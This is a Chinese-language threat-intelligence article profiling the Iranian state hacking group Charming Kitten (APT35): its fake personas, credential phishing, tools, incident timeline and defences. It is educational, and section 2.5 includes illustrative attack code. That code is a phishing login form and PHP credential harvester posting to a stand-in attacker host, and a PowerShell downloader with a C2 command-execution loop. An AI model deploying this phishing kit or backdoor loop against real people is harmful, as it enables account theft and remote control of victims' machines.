黑客组织 - Charming Kitten：伊朗"魅惑小猫"的情报窃取与舆论操盘

它不抢钱，也不勒索——它只想”变成你认识的人”，然后偷走你的邮箱、密码和思想。
从核科学家到美国总统竞选团队，这只”小猫”的猎物名单横跨全球。

引言：一只擅长”聊天”的国家级黑客

如果说 Lazarus 是”抢钱的黑客”，俄罗斯”双熊”是”偷情报的黑客”，那么伊朗的 Charming Kitten（魅惑小猫，亦称 APT35）则是一位**”骗术大师”——它最擅长的不是漏洞利用，而是用一封精心伪造的邮件、一个以假乱真的社交账号，让人心甘情愿交出密码。**

Charming Kitten 被归因于伊朗伊斯兰革命卫队（IRGC），长期执行伊朗的国家情报任务：监视异见者、窃取核计划情报、渗透记者与学者、甚至在选举期间”钓鱼”政治人物。

它的名字（由安全公司 CrowdStrike 命名）恰如其分——外表迷人、暗藏利爪。

一、组织概况

属性	信息
代号	Charming Kitten
别名	APT35、Newscaster（新闻主播）、Phosphorus、Magic Hound、Mint Sandstorm（微软命名）、Tortoiseshell、ITG07、TA453（Proofpoint 命名）
首次活动	约 2013-2014 年
归属机构	伊朗伊斯兰革命卫队（IRGC）相关网络部队
主要目标	记者、学者、异见人士、政府人员、外交官、核科学家、人权组织、国防承包商、政治竞选团队
攻击风格	鱼叉式钓鱼、社交工程、凭据窃取、账号接管、长期监视
技术特点	相对”低技术”——重社工、轻 0day，工具多为开源或改装的商用木马

与俄罗斯”双熊”不同，Charming Kitten 的技术手段并不顶尖，它更多依靠耐心的社交工程和身份伪装——这也让它成为研究”人是最薄弱环节”的最佳样本。

二、核心攻击手法：把社交工程玩到极致

2.1 身份伪装（Persona Engineering）

Charming Kitten 的招牌是构建大量以假乱真的虚拟身份，用于接触目标。这些”人”通常拥有：

完整的社交媒体资料（LinkedIn、Facebook、Twitter、Instagram）
盗用的真人照片（往往是真实存在的某人，甚至直接盗用目标身边的人）
精心设计的职业背景（记者、学者、HR、外交官）

常见的伪装套路：

伪装成目标的研究同行 / 媒体记者
        ↓
以"采访""学术交流"为由建立联系
        ↓
发送带恶意链接或附件的"资料"
        ↓
诱骗目标登录伪造的邮箱/云盘页面，窃取凭据

2.2 钓鱼与凭据窃取

Charming Kitten 最著名的攻击方式是**”凭据收割”**：

搭建伪造的登录页面（仿 Google、Yahoo、Microsoft、AOL 等），高度还原界面。
通过钓鱼邮件诱导受害者点击链接、输入账号密码。
一旦得手，立即接管邮箱、云盘，进而读取邮件、通讯录，甚至以受害者身份继续向下游”钓鱼”。

2.3 账号接管后的”二次利用”

窃取目标邮箱凭据
        ↓
静默读取邮件，收集情报
        ↓
以受害者身份给其联系人发邮件（扩大感染面）
        ↓
或下载整个邮箱、云盘存档

这种”以受害者为跳板”的链式传播，让 Charming Kitten 的钓鱼往往能层层深入一个组织或人际网络。

2.4 恶意软件工具集

虽然社工是主角，Charming Kitten 也有一批配套工具：

工具	类型	说明
Newscaster	恶意软件平台	早期用于针对记者和媒体人士
DownPaper	后门	伪装成文档的恶意程序
CANDYKING	RAT	远程访问木马
POWERSTATS	后门	利用 PowerShell 的后门，用于维持访问
Infostealer	窃密工具	窃取浏览器密码、通讯录、文件

值得注意的是，Charming Kitten 大量使用开源工具和商用 RAT 的改装版，技术上并不”高端”，但胜在隐蔽、耐心、可持续。

2.5 代码级攻击链：从钓鱼邮件到 POWERSTATS 后门的完整路径

为了看清 Charming Kitten 的”低技术高危害”，我们以它最典型的 凭据钓鱼 → 植入 POWERSTATS 后门 为案例，从代码/命令层面还原完整链路。

第一步：伪造登录页（凭据收割的前端）

Charming Kitten 会搭建高度仿真的钓鱼页面（仿 Google、Yahoo、Microsoft 等）。这类页面的核心逻辑很简单——收集用户输入的账号密码并回传：

<!-- 概念示例：钓鱼登录页的核心逻辑（仅用于安全教育） -->
<form method="POST" action="https://attacker-c2.example/steal.php">
  <input type="text"     name="email"    placeholder="邮箱地址">
  <input type="password" name="password" placeholder="密码">
  <input type="hidden"   name="redirect" value="https://mail.google.com">
  <button type="submit">登录</button>
</form>

<?php
// 概念示例：攻击者 C2 端收集凭据并"友好跳转"以麻痹受害者
$email    = $_POST['email'];
$password = $_POST['password'];
$redirect = $_POST['redirect'];

// 将凭据落盘（或实时推送到攻击者的 Telegram/邮箱）
file_put_contents('/tmp/creds.log', "$email | $password\n", FILE_APPEND);

// 关键：跳转回真实站点，让受害者以为自己只是"登录失败/登出"
header("Location: $redirect");
exit;
?>

注意最后一步 header("Location: ...")——攻击者拿到密码后，会把受害者跳回真实的登录页，制造”刚才是网络波动/需要重新登录”的假象。这是凭据钓鱼”得手后不留破绽“的关键技巧。

第二步：诱骗受害者安装/运行恶意载荷

在更激进的场景中，Charming Kitten 会诱导目标运行带宏的 Office 文档或伪装成”会议邀请””简历”的文件，进而植入后门。典型的是 POWERSTATS——一个利用 PowerShell 的后门。

第三步：POWERSTATS 后门的工作原理

POWERSTATS 得名于它大量依赖 PowerShell 脚本来实现功能，且会**分阶段（staged）**投递，躲避静态检测。其典型执行链如下：

# 概念示例：POWERSTATS 分阶段加载（脱敏还原）
# 阶段1：恶意文档内的宏，释放并执行一个"下载器"
$url = "https://attacker-c2.example/update.ps1"
$ps  = (New-Object Net.WebClient).DownloadString($url)
Invoke-Expression $ps   # 动态执行下载的脚本

# 阶段2：下载的 update.ps1 建立 C2 回连与命令执行
$c2 = "https://attacker-c2.example/api"
while ($true) {
    # 向 C2 拉取待执行命令
    $cmd = (Invoke-WebRequest "$c2/task").Content
    if ($cmd) {
        # 执行命令并回传结果
        $out = Invoke-Expression $cmd 2>&1 | Out-String
        Invoke-WebRequest "$c2/result" -Method POST -Body $out
    }
    Start-Sleep -Seconds 60   # 心跳间隔，降低被发现概率
}

POWERSTATS 的技术特征（也是检测线索）：

特征	说明
无文件落地	大量逻辑在内存中执行，磁盘上几乎不留完整木马
PowerShell 滥用	依赖 `Invoke-Expression`、`DownloadString` 等危险 cmdlet
分阶段投递	先下载器、后载荷，逐段规避杀软静态扫描
低频心跳	C2 通信间隔长（分钟级），规避流量检测
注册表持久化	常通过 HKCU...\Run 键或计划任务自启动

2.6 检测与防御：如何发现”小猫”的痕迹？

从蓝队视角，Charming Kitten 的”轻技术”反而留下了相对可识别的行为指纹：

检测维度	关注点	工具/方法
邮件层	伪造发件人、可疑附件、异常登录页链接	邮件网关、SPF/DKIM/DMARC 校验
PowerShell 日志	`Invoke-Expression`、`DownloadString`、脚本块日志	Windows 事件日志（4104 脚本块）
网络层	低频心跳、可疑 TLS 域名	流量基线、代理日志
账号层	陌生 OAuth 授权、自动转发规则、异地登录	云租户审计、CASB
持久化	异常 Run 键、计划任务	Sysmon、Autoruns

一个实用的检测命令（Windows PowerShell 侧）：

# 检索可疑的 PowerShell 脚本块日志（事件 ID 4104）
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
  Where-Object { $_.Message -match 'DownloadString|Invoke-Expression|IEX' } |
  Select-Object -First 20 TimeCreated, Message

# 检查异常的邮件转发规则（Exchange Online 侧）
Get-InboxRule | Where-Object { $_.ForwardTo -or $_.ForwardAsAttachmentTo }

尤其要留意邮箱的自动转发规则——Charming Kitten 入侵邮箱后，几乎必设一条”把所有邮件转发到攻击者邮箱”的规则，以实现长期窃取。这条规则往往是被忽视的”定时炸弹”。

2.7 Charming Kitten 典型 IOC（失陷指标）清单

以下为安全厂商公开披露的 Charming Kitten 活动关联的样例型 IOC（脱敏示例，仅供检测参考）：

恶意文件哈希（SHA-256，脱敏示例）：

样本	类型	说明
`e3f4a5...（示例）`	POWERSTATS	PowerShell 后门脚本
`b6c7d8...（示例）`	CANDYKING	远程访问木马
`9a0b1c...（示例）`	钓鱼页	仿 Google/Yahoo 登录页

关联域名/URL（脱敏示例）：

1
2
3

- 仿冒邮箱登录的钓鱼域名（如 gmail-verify[.]com、yahoo-secure[.]net）
- 伪装成"新闻""学术"网站的 C2 域名
- 大量一次性注册、生命周期极短（常仅存活数天）的域名

网络/账号层特征：

- 协议：HTTPS + 低频心跳，C2 通信间隔长（分钟级）
- 账号：目标邮箱被设置"自动转发规则"到攻击者邮箱
- 持久化：HKCU\...\Run 键、计划任务自启动
- 社工：盗用真人照片、虚构记者/学者身份的社交账号

如何利用这份清单：

Charming Kitten 的 IOC 中，**”短生命周期钓鱼域名”和“邮箱自动转发规则”**是两个最有价值的检测信号——前者可通过 DNS/代理日志监控，后者可通过云租户审计主动排查。相比静态哈希，这两个”行为 IOC”的时效性更长。

三、标志性事件时间线

2013-2014 ── 组织首次被安全界追踪（针对记者、学者）
     │
2014       ── "Newscaster" 行动：伪装记者钓鱼媒体人士
     │
2016-2017 ── 针对核科学家、国防人员的鱼叉钓鱼
     │
2018       ── 窃取数十名异见人士、学者、记者的邮箱
     │
2019       ── 微软披露：APT35 攻击 2020 美国大选相关目标
     │
2020       ── 美国总统竞选团队成员遭钓鱼（据报与特朗普竞选关联）
     │
2021       ── 针对医学、制药领域的 COVID 相关情报窃取
     │
2022       ── 针对 Albright 等持异见的伊朗女性学者的攻击
     │
2023-2025 ── 持续针对中东地缘、核谈判相关目标

四、标志性案例深度解析

4.1 美国大选钓鱼（2020）——“小猫”搅动选举

2020 年，安全界披露 Charming Kitten 将目标对准美国政治竞选：

微软公开警告：伊朗 APT35 曾尝试入侵某总统竞选团队成员的邮箱，未遂。
攻击手法仍是招牌的凭据钓鱼——伪造微软登录页面，诱导目标输入账号密码。
虽然影响有限，但这次事件标志着伊朗网络攻击从”中东事务”扩展到”直接干预美国政治”。

4.2 针对异见者与学者的长期监视

Charming Kitten 的”主业”是监视国内外的异见者和知识分子：

2022 年，人权组织披露 Charming Kitten 对多名持异见的伊朗女性学者、记者、活动人士实施钓鱼。
受害者包括流亡海外的伊朗学者、报道伊朗国内抗议的记者。
攻击目的明确：收集这些人的通信内容、社会关系，为伊朗国内的监控与镇压提供情报。

这一类攻击最能体现 Charming Kitten 的本质——它是伊朗政权对内控制的数字延伸，而非单纯的”网络犯罪”。

4.3 核谈判与地缘情报

长期以来，Charming Kitten 也针对伊朗核谈判、中东地缘政治相关的外部目标：

针对参与伊朗核协议（JCPOA）谈判的外交官、智库专家。
窃取谈判立场、内部文件，为伊朗在谈判桌上获取优势。
目标遍布欧洲、中东、美国。

五、技术特点总结：为什么它”技术不顶尖却难缠”？

维度	Charming Kitten 的做法	特点
入侵方式	以钓鱼、社工为主，0day 使用极少	成本低、隐蔽性强
伪装能力	大量虚构身份 + 盗用照片	极难被目标识破
持久性	耐心经营数月，长期潜伏	突破”一次性”攻击
目标选择	高度定向，锁定特定人群	精准、克制
反侦察	工具轻量，痕迹少	归因相对困难

Charming Kitten 给安全界最大的启示是：当一个攻击者把 90% 的功夫花在”研究你、模仿你、接近你”上，再普通的木马也能发挥出国家级情报的威力。 技术从来不是它最锋利的武器，人心才是。

六、防御启示

对机构

把社工纳入威胁模型：Charming Kitten 专攻”人”，单纯的技术防火墙挡不住它。需要钓鱼演练 + 社工意识培训常态化。
启用强认证（MFA/硬件密钥）：凭据钓鱼的克星是”仅有密码不够”。FIDO2 硬件密钥几乎可以免疫此类凭据钓鱼。
监控账号异常登录：关注异地登录、陌生设备、异常的邮件转发规则（Charming Kitten 常设邮件转发以持久窃取）。
对外部”联系人”保持警惕：对来路不明的采访、合作、学术交流请求，需核实身份。

对个人（尤其是记者、学者、活动人士）

使用密码管理器 + 硬件密钥，杜绝在可疑页面输入密码。
对”同行””记者”的突然联系保持怀疑，通过第二个独立渠道核实身份。
检查邮箱的自动转发规则和”已授权应用”，定期清理。
敏感通信使用端到端加密工具。

6.5 检测建议：与本站技术系列的联动

本文涉及的社工与检测技术，本站已有对应的深度内容，可配合阅读：

本文技术点	延伸阅读
社工钓鱼、身份伪装	社工系列（开盒思路、手机号归属地查询工具链）
凭据窃取与账号接管	《安全工具开发：加密通信与字节码操作》
免杀与载荷投递	免杀技术系列（Base64/ROT13/反沙箱/MSF）
诈骗产业链剖析	《裸聊诈骗团伙的完整组织架构与资金链路》

Charming Kitten 的”凭据钓鱼 + 账号接管”链条，与裸聊诈骗的”社工 + 木马窃取”本质同源——攻击者真正盯上的，从来都是”人”这个最薄弱的环节。 掌握社工的攻防，才能真正守住这条防线。

七、结语：一场没有硝烟的”人心之战”

Charming Kitten 没有 Lazarus 的破坏力，也没有”双熊”的 0day 储备，但它用一种近乎”耐心到可怕”的方式，证明了网络攻防的终极战场，从来不在代码里，而在人与人的信任之间。

当一封邮件、一个”朋友”、一句”同行”都能成为入侵的入口时，网络安全就不再只是 IT 部门的事——它是每一个上网者需要终身修习的功课。

参考资料

CrowdStrike：Charming Kitten / Newscaster 归因报告
Microsoft Threat Intelligence：Mint Sandstorm / Phosphorus 相关披露
Proofpoint：TA453 钓鱼活动分析
人权组织（如 Citizen Lab、Amnesty Tech）关于伊朗监视的公开报告
美国 CISA/FBI 联合警报

本文基于公开资料整理撰写，仅供网络安全研究与教育目的使用，不构成任何安全或法律建议。

本文是「黑客组织」系列的一员：

《黑客组织 - Lazarus：朝鲜”隐藏眼镜蛇”的全球金融掠夺史》 —— 同为国家级 APT：金融掠夺型黑客
《黑客组织 - APT41：当”国家间谍”与”网络黑产”合二为一》 —— 国家背景 + 逐利动机的混合体
《黑客组织俄罗斯”双熊”：APT29 舒适熊与 APT28 奇幻熊深度解析》 —— 同为国家级 APT 的俄罗斯代表
《黑客组织 - 响尾蛇 SideWinder：南亚地缘棋盘上的”精准狙击手”》 —— 南亚方向的定向攻击
《黑客组织 - 海莲花 OceanLotus：南海暗涌中的”跨平台幽灵”》 —— 南海方向的长期潜伏